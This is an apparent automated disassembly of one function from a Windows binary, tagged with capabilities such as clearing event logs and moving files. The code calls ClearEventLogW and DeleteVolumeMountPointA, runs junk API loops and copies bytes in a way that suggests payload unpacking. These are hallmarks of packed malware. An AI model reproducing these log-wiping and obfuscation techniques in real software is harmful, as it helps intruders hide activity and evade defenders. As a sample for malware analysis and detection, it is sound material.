Function at 0x415c20
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1578
call fcn.004072f0
mov eax, dword [0x41a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
jmp 0x415c50
cmp dword [0x2b19ce4], 0x7d
jne 0x415c5f
push 0
push 0
call ebx
cmp esi, 0x4e5
jne 0x415c76
mov eax, dword [0x41b268]
add eax, 0x9e49
mov dword [0x2b19ce4], eax
cmp dword [0x2b19ce4], 0xbcf
jne 0x415c98
call edi
mov dword [0x41bd58], 0xec58ac98
mov dword [0x41bd5c], 0xffffffff
inc esi
cmp esi, 0x114aff4
jl 0x415c50
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x415cc4
mov ecx, dword [0x41ac58]
mov dword [0x2b19e14], ecx
cmp dword [0x2b19ce4], 0x3c
jne 0x415cd1
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x415cb0
cmp dword [0x2b19ce4], 0x7c
jne 0x415e10
push 0
push 0
lea edx, [ebp - 0x1574]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
lea eax, [ebp - 0x1570]
push eax
push esi
lea ecx, [ebp - 0x1004]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [ebp - 0x1578]
push edx
lea eax, [ebp - 0x804]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea ecx, [ebp - 0x1434]
push esi
push ecx
mov dword [ebp - 0x1438], esi
call fcn.00404f10
add esp, 0xc
push esi
lea edx, [ebp - 0x1438]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x154c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [ebp - 0x155c]
push ecx
mov dword [ebp - 0x155c], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [ebp - 0x1556], ax
xor ecx, ecx
mov word [ebp - 0x154e], dx
lea eax, [ebp - 0x1564]
push eax
mov word [ebp - 0x1550], cx
mov ecx, dword [ebp - 0x1550]
push ecx
mov word [ebp - 0x1558], dx
mov edx, dword [ebp - 0x1558]
push edx
lea eax, [ebp - 0x1554]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea ecx, [ebp - 0x1404]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea edx, [ebp - 0xc04]
push edx
push esi
push str.xohejocumosinunosihiwimomejebuz_jafabulad
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
cmp dword [0x2b19ce4], 0x2d
jne 0x415e01
push esi
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
call ebx
cmp esi, 0x24b33
jg 0x415e39
inc esi
cmp esi, 0xeae9f
jl 0x415e20
cmp dword [0x2b19ce4], 0x2a
jne 0x415f06
xor esi, esi
push esi
mov dword [0x2b19cd8], esi
mov dword [0x2b19cdc], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp - 0x1550]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
xor eax, eax
lea edx, [ebp - 0x804]
push edx
push str.sovokosutuxanerisewugajuzinudu
mov dword [ebp - 0x156a], eax
mov dword [ebp - 0x1566], eax
mov dword [ebp - 0x1562], eax
mov word [ebp - 0x155e], ax
lea eax, [ebp - 0x156c]
push eax
push esi
xor ecx, ecx
push esi
mov word [ebp - 0x156c], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
lea ecx, [ebp - 0x1554]
push ecx
push str.texosimusi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.004013b5
add esp, 0x30
push esi
call fcn.004016a5
call fcn.00415870
mov ecx, dword [0x2b19ce4]
xor eax, eax
test ecx, ecx
jbe 0x415f4d
mov edi, dword [0x2b19e14]
mov esi, dword [0x2b19b2c]
mov edx, 0x17bc
jmp 0x415f30
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x415f48
mov dword [0x2b19b30], edx
inc eax
cmp eax, ecx
jb 0x415f30
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004158a0
call fcn.00415b90
mov edi, dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x2b19ce4], 0x41
jne 0x415f83
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x415f90
call fcn.00415890
cmp dword [0x2b19ce4], 0xc
jne 0x415fa6
lea edx, [ebp - 0x1554]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x415f70
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2b19ce4], 0x7c4
mov dword [0x2b19b34], edi
jne 0x415fd9
push str.wobuzanetudugeru
call esi
sub ebx, 1
jne 0x415fc0
mov ecx, dword [ebp - 0x1428]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x415fff
cmp ecx, 0xf5bed7
jne 0x416007
inc eax
cmp eax, 0x687ed2
jl 0x415ff0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret